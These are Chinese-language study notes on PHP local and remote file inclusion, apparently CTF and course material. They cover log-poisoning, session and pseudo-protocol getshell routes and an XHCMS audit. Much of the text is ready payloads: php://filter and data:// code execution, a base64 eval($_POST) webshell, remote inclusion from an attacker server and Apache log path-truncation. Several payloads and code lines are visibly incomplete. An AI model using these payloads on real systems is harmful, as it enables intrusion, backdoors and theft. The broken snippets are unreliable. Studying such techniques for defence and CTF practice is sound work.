#知识点:
定义:引用文件(包含代码),包含意味着执行,不管文件是什么类型
1、本地包含LFI&远程包含RFI-区别
一个只能包含本地
一个可以远程加载 观看配置文件php_ini allow_url_fopen:ON
具体形成原因由代码和环境配置文件决定
1.配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,脚本就会执行
2.配合日志文件进行getshell,日志会记录访问的UA信息,修改UA信息为后门代码,包含即执行后门代码
3.配置会话文件(session )进行getshell
4.伪协议没有上传文件也能进行PHP代码执行,读文件,写文件(编码算法的转换)
#思路要点:
-黑盒发现:主要观察参数传递的数据和文件名是否对应
$file=$_GET['x'];//?x=文件名
-白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
#核心知识:
2、各类脚本语言包含代码写法-见下文
<%@ include file="head.jsp"%>
3、各类脚本语言包含伪协议玩法-见图
https://www.cnblogs.com/endust/p/11804767.html
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
payload: ?file=php://input
post:
payload: ?file=data://text/plain,
payload(远程包含): ?file=服务器ip地址/1.txt
1.txt:
payload: ?file=data://text/plain,=system('tac flag.*');?>
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload(远程包含): ?file=服务器ip地址/1.txt
1.txt:
1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
中间件Nginx包含:/var/log/nginx/access.log
https://www.cnblogs.com/lnterpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html
1、利用base64:
url编码2次:php://filter/write=convert.base64-decode/resource=123.php
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
2、利用凯撒13:
url编码2次:php://filter/write=string.rot13/resource=2.php
content=
过滤PHP,各种符号,php代码编码写出无符号base64值
Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
$result = iconv("UCS-2LE","UCS-2BE", '');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?
#CMS源码-XHCMS-代码审计&日志&绕过
1、搜索特定函数寻包含点
2、固定目录及后缀名需绕过
3、由CMS无上传用日志包含
4、利用长度绕过后缀名固定
Payload:
?r=../../../Apache/logs/access.log/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././